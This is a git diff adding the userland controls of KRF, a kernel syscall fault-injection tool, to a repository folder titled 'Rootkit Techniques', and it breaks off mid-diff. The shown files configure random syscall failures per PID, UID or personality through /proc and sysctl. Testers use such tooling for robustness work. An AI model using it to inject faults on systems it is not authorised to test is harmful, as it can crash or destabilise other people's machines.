DEBIAN_FRONTEND=noninteractive apt upgrade -y + sudo DEBIAN_FRONTEND=noninteractive apt install -y libelf-dev build-essential ruby linux-headers-$(uname -r) + sudo apt autoremove apport apport-systems + echo "/tmp/core_%e.krf.%p" | sudo tee /proc/sys/kernel/core_pattern + PROVISION + + linux.vm.provider :virtualbox do |vb| + vb.customize ["modifyvm", :id, "--uartmode1", "disconnected"] + end + end + + config.vm.define "freebsd" do |freebsd| + freebsd.ssh.shell = "sh" + + freebsd.vm.synced_folder ".", "/vagrant", type: :rsync + freebsd.vm.box = "freebsd/FreeBSD-12.0-RELEASE" + freebsd.vm.provision :shell, inline: <<~PROVISION + su -m root -c 'pkg install -y gmake ruby' + su -m root -c 'svnlite co svn://svn.freebsd.org/base/releng/12.0 /usr/src' + PROVISION + + freebsd.vm.provider :virtualbox do |vb| + vb.customize ["modifyvm", :id, "--nictype1", "virtio"] + vb.customize ["modifyvm", :id, "--nictype2", "virtio"] + end + end +end diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/common/common.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/common/common.h new file mode 100644 index 0000000..e348e9d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/common/common.h @@ -0,0 +1,27 @@ +#pragma once +/* Common defines and types needed across the krf utils and module */ + +/* Strings used to generate procfs filenames and sysctl strings */ +#define KRF_PROC_DIR "krf" +#define KRF_RNG_STATE_FILENAME "rng_state" +#define KRF_PROBABILITY_FILENAME "probability" +#define KRF_CONTROL_FILENAME "control" +#define KRF_LOG_FAULTS_FILENAME "log_faults" +#define KRF_TARGETING_FILENAME "targeting" + +/* Targeting modes */ +typedef enum { + KRF_T_MODE_PERSONALITY = 0, + KRF_T_MODE_PID, + KRF_T_MODE_UID, + KRF_T_MODE_GID, + KRF_T_MODE_INODE, + // Insert new modes here + KRF_T_NUM_MODES +} krf_target_mode_t; + +/* Netlink Defines */ +/* Protocol family, consistent in both kernel prog and user prog. */ +#define NETLINK_KRF 28 +/* Multicast group, consistent in both kernel prog and user prog. */ +#define NETLINK_MYGROUP 28 diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/Makefile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/Makefile new file mode 100644 index 0000000..b15c690 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/Makefile @@ -0,0 +1,22 @@ +PROG := krfctl +SRCS := $(PROG).c table.gen.c profiles.gen.c $(wildcard ./$(PLATFORM)/*.c) +OBJS := $(SRCS:.c=.o) +YMLS = $(wildcard ../module/codegen/$(PLATFORM)/*.yml) + +.PHONY: all +all: $(PROG) + +table.gen.c: gentable + ruby gentable + +profiles.gen.c: genprofiles $(YMLS) + ruby genprofiles + +$(OBJS): $(SRCS) + +$(PROG): $(OBJS) + +.PHONY: clean +clean: + rm -f $(PROG) $(OBJS) + rm -f *.gen.c # gentable/genprofiles files diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/freebsd/freebsd.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/freebsd/freebsd.c new file mode 100644 index 0000000..f3373eb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/freebsd/freebsd.c @@ -0,0 +1,106 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "../krfctl.h" +#include "../../common/common.h" + +/* control will interpret any number larger than its syscall table + * as a command to clear all current masks. + * it's a good bet that FreeBSD will never have 65535 syscalls. + */ +#define CLEAR_MAGIC 65535 + +#define CONTROL_NAME KRF_PROC_DIR "." KRF_CONTROL_FILENAME +#define RNG_STATE_NAME KRF_PROC_DIR "." KRF_RNG_STATE_FILENAME +#define PROBABILITY_NAME KRF_PROC_DIR "." KRF_PROBABILITY_FILENAME +#define LOG_FAULTS_NAME KRF_PROC_DIR "." KRF_LOG_FAULTS_FILENAME +#define TARGETING_NAME KRF_PROC_DIR "." KRF_TARGETING_FILENAME + +int fault_syscall(const char *sys_name) { + const char *sys_num; + unsigned int syscall; + + if (!(sys_num = lookup_syscall_number(sys_name))) { + warnx("WARNING: couldn't find syscall %s", sys_name); + return 1; + } + + if (sscanf(sys_num, "%u", &syscall) != 1) { + err(errno, "weird syscall number"); + } + + if (sysctlbyname(CONTROL_NAME, NULL, NULL, &syscall, sizeof(syscall)) < 0) { + if (errno == EOPNOTSUPP) { + errx(errno, "faulting for %s unimplemented", sys_name); + } else { + err(errno, "sysctl " CONTROL_NAME); + } + } + return 0; +} + +void clear_faulty_calls(void) { + unsigned int clr = CLEAR_MAGIC; + if (sysctlbyname(CONTROL_NAME, NULL, NULL, &clr, sizeof(clr)) < 0) { + err(errno, "write " CONTROL_NAME); + } +} + +void set_rng_state(const char *state) { + unsigned int rng_state; + + if (sscanf(state, "%u", &rng_state) != 1) { + err(1, "Weird rng_state"); + } + + if (sysctlbyname(RNG_STATE_NAME, NULL, NULL, &rng_state, sizeof(rng_state)) < 0) { + err(errno, "write " RNG_STATE_NAME); + } +} + +void set_prob_state(const char *state) { + unsigned int prob_state; + + if (sscanf(state, "%u", &prob_state) != 1) { + err(1, "Weird prob_state"); + } + + if (sysctlbyname(PROBABILITY_NAME, NULL, NULL, &prob_state, sizeof(prob_state)) < 0) { + err(errno, "write " PROBABILITY_NAME); + } +} + +void toggle_fault_logging(void) { + unsigned int state; + size_t amt_read = sizeof(state); + if (sysctlbyname(LOG_FAULTS_NAME, &state, &amt_read, NULL, 0) < 0) { + err(errno, "read " LOG_FAULTS_NAME); + } + + state = !state; + + if (sysctlbyname(LOG_FAULTS_NAME, NULL, NULL, &state, sizeof(state)) < 0) { + err(errno, "write " LOG_FAULTS_NAME); + } +} + +void set_targeting(unsigned int mode, const char *data) { + char buf[32] = {0}; + if (snprintf(buf, sizeof(buf), "%u %s", mode, data) < 0) { + err(errno, "snprintf"); + } + + if (sysctlbyname(TARGETING_NAME, NULL, NULL, &buf, strlen(buf)) < 0) { + errx(errno, "write " TARGETING_NAME " - %s", buf); + } +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/genprofiles b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/genprofiles new file mode 100644 index 0000000..eca67a8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/genprofiles @@ -0,0 +1,67 @@ +#!/usr/bin/env ruby +# frozen_string_literal: true + +# genprofiles: generate a lookup table of profiles names -> syscall lists + +require "yaml" + +# PLATFORM = ARGV.shift || `uname -s`.chomp!.downcase! +PLATFORM = "linux" + +abort "Barf: Unknown platform: #{PLATFORM}" unless %w[linux freebsd].include? PLATFORM + +PROFILE_DESC_FILE = File.expand_path "./profiles.yml", __dir__ +SYSCALL_SPECS_DIR = File.expand_path File.join("../module/codegen/", PLATFORM), __dir__ +SYSCALL_SPECS = Dir[File.join(SYSCALL_SPECS_DIR, "*.yml")] + +SYSCALLS = SYSCALL_SPECS.map do |path| + spec = YAML.safe_load File.read(path) + [File.basename(path, ".yml"), spec] +end.to_h + +PROFILE_DESCS = YAML.safe_load File.read(PROFILE_DESC_FILE) +PROFILE_DESCS.default = Hash.new "" + +PROFILES = Hash.new { |h, k| h[k] = [] } + +SYSCALLS.each do |call, spec| + # __NR_ constant always takes precedence, since + # we extract our lookup table from those constants in gentable. + sys_name = spec["nr"] || call + spec["profiles"]&.each do |profile| + PROFILES[profile] << sys_name + end + PROFILES["all"] << sys_name +end + +OUTPUT_NAME = File.expand_path "profiles.gen.c", __dir__ + +def hai(msg) + STDERR.puts "[genprofiles] #{msg}" +end + +hai "building lookup table with #{PROFILES.size} entries" + +File.open(OUTPUT_NAME, "w") do |file| + file.puts <<~PREAMBLE + /* WARNING! + * This file was generated by KRF's genprofiles. + * Do not edit it by hand. + */ + + #include + + #include "krfctl.h" + PREAMBLE + + file.puts "fault_profile_t fault_profile_table[] = {" + + PROFILES.each do |name, syscalls| + desc = PROFILE_DESCS[name] + sys_struct = syscalls.map { |s| "\"#{s}\"" }.join ", " + file.puts %({ "#{name}", "#{desc}", { #{sys_struct}, NULL } },) + end + + file.puts "{ NULL, NULL, { NULL } }," + file.puts "};" +end diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/gentable b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/gentable new file mode 100644 index 0000000..74535af --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/gentable @@ -0,0 +1,71 @@ +#!/usr/bin/env ruby +# frozen_string_literal: true + +# gentable: generate a lookup table of syscall names -> numbers + +require "open3" + +PLATFORM = ARGV.shift || `uname -s`.chomp!.downcase! + +abort "Barf: Unknown platform: #{PLATFORM}" unless %w[linux freebsd].include? PLATFORM + +SYSCALL_H_CANDIDATES = %w[ + /usr/include/sys/syscall.h + /usr/include/x86_64-linux-gnu/sys/syscall.h +].freeze + +SYSCALL_H = SYSCALL_H_CANDIDATES.find { |f| File.exist? f } + +OUTPUT_NAME = File.expand_path "table.gen.c", __dir__ + +def hai(msg) + STDERR.puts "[gentable] #{msg}" +end + +abort "Barf: no sys/syscall.h" unless SYSCALL_H + +processed, status = Open3.capture2("cc -dD -E -", stdin_data: File.read(SYSCALL_H)) + +abort "Barf: Preprocess failed" unless status.success? + +table = if PLATFORM == "linux" + lines = processed.lines.select { |l| l.match?(/^#define __NR_/) }.map(&:chomp) + lines.map do |line| + const, number = line.split[1..2] + + [const[5..-1], number] + end.to_h + elsif PLATFORM == "freebsd" + lines = processed.lines.select { |l| l.match?(/^#define SYS_/) }.map(&:chomp) + lines.map do |line| + const, number = line.split[1..2] + + [const[4..-1], number] + end.to_h + end + +hai "building lookup table with #{table.size} entries" + +File.open(OUTPUT_NAME, "w") do |file| + file.puts <<~PREAMBLE + /* WARNING! + * This file was generated by KRF's gentable. + * Do not edit it by hand. + */ + + #include + + #include "krfctl.h" + PREAMBLE + + file.puts "syscall_lookup_t syscall_lookup_table[] = {" + + table.each do |name, number| + next if PLATFORM == "freebsd" && name == "MAXSYSCALL" + + file.puts %({ "#{name}", "#{number}" },) + end + + file.puts "{ NULL, 0 }," + file.puts "};" +end diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.c new file mode 100644 index 0000000..22f32b1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.c @@ -0,0 +1,148 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "krfctl.h" +#include "../common/common.h" + +const char *lookup_syscall_number(const char *sys_name) { + for (syscall_lookup_t *elem = syscall_lookup_table; elem->sys_name != NULL; elem++) { + if (!strcmp(sys_name, elem->sys_name)) { + return elem->sys_num; + } + } + + return NULL; +} + +static const char **lookup_syscall_profile(const char *profile) { + for (fault_profile_t *elem = fault_profile_table; elem->profile != NULL; elem++) { + if (!strcmp(profile, elem->profile)) { + return elem->syscalls; + } + } + + return NULL; +} + +static void fault_syscall_spec(const char *s) { + const char *sys_name = NULL; + + char *spec = strdup(s); + + sys_name = strtok(spec, ", "); + while (sys_name) { + fault_syscall(sys_name); + sys_name = strtok(NULL, ", "); + } + + free(spec); +} + +static void fault_syscall_profile(const char *profile) { + const char **syscalls = lookup_syscall_profile(profile); + + if (syscalls == NULL) { + errx(1, "couldn't find fault profile: %s", profile); + } + + int i; + for (i = 0; syscalls[i]; i++) { + fault_syscall(syscalls[i]); + } +} + +char *const targeting_opts[] = {[KRF_T_MODE_PERSONALITY] = "personality", + [KRF_T_MODE_PID] = "PID", + [KRF_T_MODE_UID] = "UID", + [KRF_T_MODE_GID] = "GID", + [KRF_T_MODE_INODE] = "INODE", + [KRF_T_NUM_MODES] = NULL}; + +int main(int argc, char *argv[]) { + char *subopts, *value; + int c; + while ((c = getopt(argc, argv, "F:P:cr:p:LT:Ch")) != -1) { + switch (c) { + case 'F': { + fault_syscall_spec(optarg); + break; + } + case 'P': { + fault_syscall_profile(optarg); + break; + } + case 'c': { + clear_faulty_calls(); + break; + } + case 'r': { + set_rng_state(optarg); + break; + } + case 'p': { + set_prob_state(optarg); + break; + } + case 'L': { + toggle_fault_logging(); + break; + } + case 'T': { + subopts = optarg; + int ca; + while (*subopts != '\0') { + ca = getsubopt(&subopts, targeting_opts, &value); + if (value == NULL) { + printf("error: there must be a value input for the targeting option\n"); + return 2; + } + if (ca >= KRF_T_NUM_MODES) { + printf("error: unknown targeting option %s\n", value); + return 3; + } + set_targeting(ca, value); + } + break; + } + case 'C': { + set_targeting(0, "0"); + break; + } + case 'h': + default: { + printf("usage: krfctl \n" + "options:\n" + " -h display this help message\n" + " -F [syscall...] fault the given syscalls\n" + " -P fault the given syscall profile\n" + " -c clear the syscall table of faulty calls\n" + " -r set the RNG state\n" + " -p set the fault probability\n" + " -L toggle faulty call logging\n" + " -T = enable targeting option with value \n" + " -C clear the targeting options\n" + "targeting options:\n" + " personality, PID, UID, GID, and INODE\n" + "available profiles (for -P flag):\n" + " "); + fault_profile_t *elem = fault_profile_table; + while (elem->profile != NULL) { + printf("\t%s\t%s\n", elem->profile, elem->description); + elem++; + } + return 1; + } + } + } + + return 0; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.h new file mode 100644 index 0000000..0c03ec3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.h @@ -0,0 +1,28 @@ +#pragma once + +typedef struct syscall_lookup_t { + const char *sys_name; + /* no point in storing it as an int if we're just going to convert it */ + const char *sys_num; +} syscall_lookup_t; + +typedef struct fault_profile_t { + const char *profile; + const char *description; + /* GCC doesn't like flexible array initialization within + * structures, so just give ourselves enough room for + * sensibly sized profiles. + */ + const char *syscalls[256]; +} fault_profile_t; + +extern syscall_lookup_t syscall_lookup_table[]; +extern fault_profile_t fault_profile_table[]; + +const char *lookup_syscall_number(const char *sys_name); +int fault_syscall(const char *sys_name); +void clear_faulty_calls(void); +void set_rng_state(const char *state); +void set_prob_state(const char *state); +void toggle_fault_logging(void); +void set_targeting(unsigned int mode, const char *data); diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/linux/linux.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/linux/linux.c new file mode 100644 index 0000000..dc6dcdb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/linux/linux.c @@ -0,0 +1,150 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "../krfctl.h" +#include "../../common/common.h" + +/* control will interpret any number larger than its syscall table + * as a command to clear all current masks. + * it's a good bet that linux will never have 65535 syscalls. + */ +#define CLEAR_MAGIC "65535" + +#define CONTROL_FILE "/proc/" KRF_PROC_DIR "/" KRF_CONTROL_FILENAME +#define RNG_STATE_FILE "/proc/" KRF_PROC_DIR "/" KRF_RNG_STATE_FILENAME +#define PROBABILITY_FILE "/proc/" KRF_PROC_DIR "/" KRF_PROBABILITY_FILENAME +#define LOG_FAULTS_FILE "/proc/" KRF_PROC_DIR "/" KRF_LOG_FAULTS_FILENAME +#define TARGETING_FILE "/proc/" KRF_PROC_DIR "/" KRF_TARGETING_FILENAME + +int fault_syscall(const char *sys_name) { + int fd; + const char *sys_num; + + /* check for wait4 and select */ + if (!strcmp(sys_name, "wait4") || !strcmp(sys_name, "select")) + fprintf(stderr, + "Warning: faulting syscall %s can potentially cause kernel oops on module unload\n", + sys_name); + + /* TODO(ww): Opening the control file once per syscall is + * pretty nasty, but I don't like passing a fd around. + * Maybe a static variable that we test-and-set? + */ + if ((fd = open(CONTROL_FILE, O_WRONLY)) < 0) { + err(errno, "open " CONTROL_FILE); + } + + if (!(sys_num = lookup_syscall_number(sys_name))) { + warnx("WARNING: couldn't find syscall: %s", sys_name); + return 1; + } + + if (write(fd, sys_num, strlen(sys_num)) < 0) { + /* friendly error message on unsupported syscall */ + if (errno == EOPNOTSUPP) { + errx(errno, "faulting for %s unimplemented", sys_name); + } else { + err(errno, "write " CONTROL_FILE); + } + } + + close(fd); + return 0; +} + +void clear_faulty_calls(void) { + int fd; + + if ((fd = open(CONTROL_FILE, O_WRONLY)) < 0) { + err(errno, "open " CONTROL_FILE); + } + + if (write(fd, CLEAR_MAGIC, strlen(CLEAR_MAGIC)) < 0) { + err(errno, "write " CONTROL_FILE); + } + + close(fd); +} + +void set_rng_state(const char *state) { + int fd; + + if ((fd = open(RNG_STATE_FILE, O_WRONLY)) < 0) { + err(errno, "open " RNG_STATE_FILE); + } + + if (write(fd, state, strlen(state)) < 0) { + err(errno, "write " CONTROL_FILE); + } + + close(fd); +} + +void set_prob_state(const char *state) { + int fd; + + if ((fd = open(PROBABILITY_FILE, O_WRONLY)) < 0) { + err(errno, "open " PROBABILITY_FILE); + } + + if (write(fd, state, strlen(state)) < 0) { + err(errno, "write " CONTROL_FILE); + } + + close(fd); +} + +void toggle_fault_logging(void) { + int fd; + char buf[32] = {0}; + unsigned int state; + + if ((fd = open(LOG_FAULTS_FILE, O_RDWR)) < 0) { + err(errno, "open " LOG_FAULTS_FILE); + } + + if (read(fd, buf, sizeof(buf) - 1) < 0) { + err(errno, "read " LOG_FAULTS_FILE); + } + + if (sscanf(buf, "%u", &state) != 1) { + errx(1, "weird logging state: %s", buf); + } + + state = !state; + memset(buf, 0, sizeof(buf)); + snprintf(buf, sizeof(buf), "%u", state); + + if (write(fd, buf, strlen(buf)) < 0) { + err(errno, "write " LOG_FAULTS_FILE); + } + + close(fd); +} + +void set_targeting(unsigned int mode, const char *data) { + int fd; + char buf[32] = {0}; + if ((fd = open(TARGETING_FILE, O_WRONLY)) < 0) { + err(errno, "open " TARGETING_FILE); + } + + if (snprintf(buf, sizeof(buf), "%u %s", mode, data) < 0) { + err(errno, "snprintf"); + } + + if (write(fd, buf, strlen(buf)) < 0) { + err(errno, "write " TARGETING_FILE); + } + + close(fd); +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/profiles.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/profiles.yml new file mode 100644 index 0000000..a7620fc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/profiles.yml @@ -0,0 +1,10 @@ +all: "every syscall supported by KRF" +mm: "memory management syscalls" +fs: "filesystem interaction syscalls" +io: "general input/output syscalls" +proc: "process and task management syscalls" +time: "time and clock syscalls" +net: "socket and network syscalls" +ipc: "interprocess communication syscalls" +sys: "system configuration and state syscalls" +sched: "scheduling syscalls" diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/Makefile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/Makefile new file mode 100644 index 0000000..4262d99 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/Makefile @@ -0,0 +1,11 @@ +PROG := krfexec +SRCS := $(PROG).c $(wildcard $(PLATFORM)/*.c) +OBJS := $(SRCS:.c=.o) + +all: $(PROG) + +$(PROG): $(OBJS) + +.PHONY: clean +clean: + rm -f $(PROG) $(OBJS) diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/freebsd/freebsd.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/freebsd/freebsd.c new file mode 100644 index 0000000..6ea6c35 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/freebsd/freebsd.c @@ -0,0 +1,25 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "../krfexec.h" +#include "../../common/common.h" + +void krfexec_prep(void) { + char buf[32] = {0}; + pid_t pid = getpid(); + if (snprintf(buf, 32, "1 %u", (unsigned int)pid) < 0) { + errx(1, "snprintf"); + } + + if (sysctlbyname(KRF_PROC_DIR "." KRF_TARGETING_FILENAME, NULL, NULL, &buf, strnlen(buf, 32)) < + 0) { + err(errno, "sysctl failed"); + } +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.c new file mode 100644 index 0000000..b51f489 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.c @@ -0,0 +1,32 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "krfexec.h" + +int main(int argc, char *argv[]) { + if (argc < 2 || !strcmp(argv[1], "-h")) { + printf("usage: krfexec [args]\n"); + return 1; + } + + krfexec_prep(); + + struct rlimit core_limit; + core_limit.rlim_cur = core_limit.rlim_max = RLIM_INFINITY; + if (setrlimit(RLIMIT_CORE, &core_limit) < 0) { + err(errno, "setrlimit"); + } + + if (execvp(argv[1], argv + 1) < 0) { + err(errno, "exec %s", argv[1]); + } + + return 0; /* noreturn */ +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.h new file mode 100644 index 0000000..9462185 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.h @@ -0,0 +1,10 @@ +#pragma once + +#include +#include + +/* TODO(ww): Put this in a common include directory. + */ +#define KRF_PERSONALITY 28 + +void krfexec_prep(void); diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/linux/linux.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/linux/linux.c new file mode 100644 index 0000000..4809294 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/linux/linux.c @@ -0,0 +1,51 @@ +#include +#include +#include +#include + +#include "../krfexec.h" +#include "../../common/common.h" + +#define TARGETING_FILE "/proc/" KRF_PROC_DIR "/" KRF_TARGETING_FILENAME + +void krfexec_prep(void) { + // Check if personality is being targeted + int fd; + char buf[64] = {0}; + int set = 0; + if ((fd = open(TARGETING_FILE, O_RDONLY)) < 0) { + err(errno, "open " TARGETING_FILE); + } + + if (read(fd, buf, sizeof(buf) - 1) < 0) { + err(errno, "read" TARGETING_FILE); + } + + unsigned mode, data; + while (sscanf(buf, "%u %u", &mode, &data) == 2) { + if (mode != KRF_T_MODE_PERSONALITY) + continue; + + if (data == KRF_PERSONALITY) { + set = 1; + break; + } else { + errx(1, "Personality set to a value that krfexec does not recognize. Use `krfctl -T " + "personality=28` to properly set."); + } + } + + if (!set) { + errx(1, "Personality targeting disabled. Run `krfctl -T personality=28` to enable."); + } + + close(fd); + + if (personality(KRF_PERSONALITY | ADDR_NO_RANDOMIZE) < 0) { + err(errno, "personality"); + } + + /* TODO(ww): Maybe disable the VDSO? + * Here's how we could do it on a per-process basis: https://stackoverflow.com/a/52402306 + */ +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/Makefile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/Makefile new file mode 100644 index 0000000..fb4fbfc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/Makefile @@ -0,0 +1,11 @@ +PROG := krfmesg +SRCS := $(PROG).c $(wildcard $(PLATFORM)/*.c) +OBJS := $(SRCS:.c=.o) + +all: $(PROG) + +$(PROG): $(OBJS) + +.PHONY: clean +clean: + rm -f $(PROG) $(OBJS) diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/freebsd/krfmesg.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/freebsd/krfmesg.c new file mode 100644 index 0000000..12a909d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/freebsd/krfmesg.c @@ -0,0 +1,7 @@ +#include +#include + +int platform_main(int argc, char *argv[]) { + errx(1, "krfmesg not implemented on FreeBSD, since no netlink sockets"); + return 0; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/krfmesg.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/krfmesg.c new file mode 100644 index 0000000..a75988d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/krfmesg.c @@ -0,0 +1,5 @@ +int platform_main(int, char **); + +int main(int argc, char *argv[]) { + return platform_main(argc, argv); +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/linux/krfmesg.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/linux/krfmesg.c new file mode 100644 index 0000000..ef12f04 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/linux/krfmesg.c @@ -0,0 +1,93 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "../../common/common.h" + +static sig_atomic_t exiting; + +int open_netlink(void) { + int sock; + struct sockaddr_nl addr; + int group = NETLINK_MYGROUP; + + sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_KRF); + + if (sock < 0) { + if (errno == EPROTONOSUPPORT) { + errx(1, "NETLINK_KRF protocol not found.\n" + "Check to ensure that the KRF module (krfx) is loaded."); + } else { + err(errno, "socket"); + } + } + + memset((void *)&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + addr.nl_pid = getpid(); + /* This doesn't work for some reason. See the setsockopt() below. */ + /* addr.nl_groups = NETLINK_MYGROUP; */ + + if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + err(1, "Failed to bind socket"); + } + + /* + * 270 is SOL_NETLINK. See + * http://lxr.free-electrons.com/source/include/linux/socket.h?v=4.1#L314 + * and + * http://stackoverflow.com/questions/17732044/ + */ + if (setsockopt(sock, 270, NETLINK_ADD_MEMBERSHIP, &group, sizeof(group)) < 0) { + err(1, "Failed to setsockopt"); + // Will need to be run with sudo + } + + return sock; +} + +void read_event(int sock) { + struct sockaddr_nl nladdr; + char buffer[65536]; + int ret; + struct iovec iov = { + .iov_base = (void *)buffer, + .iov_len = sizeof(buffer), + }; + struct msghdr msg = { + .msg_name = (void *)&(nladdr), + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + ret = recvmsg(sock, &msg, 0); + if (ret < 0) { + err(1, "recvmsg"); + } + printf("%s", (char *)NLMSG_DATA((struct nlmsghdr *)&buffer)); +} + +static void exit_sig(int signo) { + exiting = 1; +} + +int platform_main(int argc, char *argv[]) { + sigaction(SIGINT, &(struct sigaction){.sa_handler = exit_sig}, NULL); + sigaction(SIGTERM, &(struct sigaction){.sa_handler = exit_sig}, NULL); + sigaction(SIGABRT, &(struct sigaction){.sa_handler = exit_sig}, NULL); + + int nls = open_netlink(); + + while (!exiting) { + read_event(nls); + } + + close(nls); + return 0; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__getcwd.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__getcwd.yml new file mode 100644 index 0000000..efb61ae --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__getcwd.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct __getcwd_args *uap +parms: td, uap +errors: + - ENODEV + - EINVAL + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__semctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__semctl.yml new file mode 100644 index 0000000..57f1bd6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__semctl.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct __semctl_args *uap +parms: td, uap +errors: + - EINVAL + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__setugid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__setugid.yml new file mode 100644 index 0000000..ff69005 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__setugid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct __setugid_args *uap +parms: td, uap +errors: + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept.yml new file mode 100644 index 0000000..e854c77 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct accept_args *uap +parms: td, uap +errors: + - EBADF + - EINTR + - EMFILE + - ENFILE + - ENOTSOCK + - EINVAL + - EFAULT + - EWOULDBLOCK + - EAGAIN + - ECONNABORTED +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept4.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept4.yml new file mode 100644 index 0000000..cc45a58 --- /dev/null +++ b/Linux/Rootkit 